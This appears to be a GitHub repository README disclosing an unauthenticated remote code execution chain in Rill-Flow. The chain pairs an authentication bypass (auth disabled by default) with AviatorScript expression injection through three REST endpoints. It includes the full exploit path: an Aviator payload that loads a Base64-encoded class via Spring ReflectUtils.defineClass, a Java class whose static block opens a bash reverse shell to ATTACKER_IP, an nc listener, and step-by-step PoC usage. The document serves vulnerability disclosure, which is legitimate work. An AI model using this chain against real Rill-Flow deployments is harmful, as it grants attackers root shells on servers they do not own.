Skip to content

OriginSecurityX/rill-flow-auth-bypass-aviator-rce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 

Repository files navigation

Title: Authentication Bypass + AviatorScript Expression Injection RCE in Rill-Flow ≤ 0.1.21-SNAPSHOT

BUG_Author: Frederick Affected Version: ≤ 0.1.21-SNAPSHOT Vendor: https://github.com/weibocom/rill-flow Software: https://github.com/weibocom/rill-flow

Vulnerability Files:

  • rill-flow-impl/.../Switchers.java:45 — Auth disabled by default
  • rill-flow-impl/.../AuthUserResolver.java:70-73 — Auth bypass
  • rill-flow-service/.../AviatorCache.java:46 — Unsafe AviatorEvaluator.compile()
  • rill-flow-service/.../JsonValueMapping.java:34-36 — User expression entry (doTransformgetAviatorExpressionexecute)
  • rill-flow-dag/.../JSONPathInputOutputMapping.java:137AviatorEvaluator.execute() on user input
  • rill-flow-web/.../DAGDescriptorController.java — Exposed REST endpoints

Description:

1. Authentication Bypass via Default-Disabled Auth Resolver:

Switchers.java:45 defaults ENABLE_AUTH_RESOLVER to false. When off, AuthUserResolver.java:70-73 bypasses all HMAC-SHA256 signature checks and returns hardcoded FlowUser(uid=127001L), granting unrestricted access to all endpoints under /flow/bg/manage/descriptor/*.

2. Three AviatorScript Expression Injection Entry Points:

Rill-Flow uses Aviator 5.2.7 (no sandbox API — enableSandboxMode introduced in 5.4.3). Three REST endpoints accept user-controlled Aviator expressions:

Endpoint Field Storage Trigger
POST modify_gray.json gray_rule Redis get_descriptor.json?descriptor_id=x:x triggers gray rule evaluation
POST modify_function_ab.json ab_rule Redis Auto-triggered during DAG task function dispatch
POST add_descriptor.json transform in YAML body MySQL/Redis submit.jsoninputMappingCalculate() during DAG execution

All three converge on AviatorEvaluator.compile(user_input).execute(env).

3. RCE via Spring ReflectUtils.defineClass Bypassing FunctionMissing=null:

Default FunctionMissing=null blocks instance method calls (obj.method()), but AviatorScript's use statement — a compile-time language feature — imports arbitrary Java packages and enables direct static method invocation without touching FunctionMissing.

Since Rill-Flow is a Spring Boot application, spring-core-5.3.31.jar is on the classpath, providing org.springframework.cglib.core.ReflectUtils.defineClass() and org.springframework.util.Base64Utils.decodeFromString(). The exploit chain:

use org.springframework.util.*;
use org.springframework.cglib.core.*;
let bytes = Base64Utils.decodeFromString('<BASE64_MALICIOUS_CLASS>');
ReflectUtils.defineClass('Shell', bytes, ClassLoader.getSystemClassLoader())

The malicious class uses a static {} initializer that auto-executes on JVM class load — no method invocation needed:

public class Shell {
    static {
        try {
            String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {}
    }
}

4. Complete Attack Chain (gray_rule endpoint):

① POST modify_gray.json (no auth)
     alias=a, gray_rule=<Spring ReflectUtils payload>
     → stored in Redis

② POST get_descriptor.json?descriptor_id=x:x
     → alias empty → getDescriptorAliasByGrayRule()
     → getValueFromRuleMap() iterates aliases alphabetically
     → alias=a evaluated first
     → AviatorEvaluator.compile(gray_rule).execute(env)
     → ReflectUtils.defineClass() loads Shell class
     → static {} auto-executes → reverse shell

Note on screen recording: The demo video verifies only the gray_rule endpoint (simplest attack path, no DAG required). The other two endpoints (modify_function_ab.json and add_descriptor.json) have been separately confirmed exploitable via Docker replication and can be reproduced following the same PoC methodology.

Proof of Concept:

  1. Start listener on attacker machine:

    nc -lvnp 4444
  2. Run PoC script:

    powershell -ExecutionPolicy Bypass -File poc.ps1
  3. Three steps executed by the script:

    • Compile malicious class with static {} reverse shell → Base64 encode
    • POST modify_gray.json — inject gray_rule (no authentication required)
    • POST get_descriptor.json?descriptor_id=x:x — trigger gray rule evaluation → RCE
  4. Reverse shell received on attacker's nc listener — full container access as root.

  5. To target the other two endpoints:

    • modify_function_ab.json: Same payload as ab_rule parameter, auto-triggered during DAG function dispatch
    • add_descriptor.json: Embed payload in YAML's transform field, trigger via submit.json with returned descriptor_id (valid DAG YAML example in README_zh.md)

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors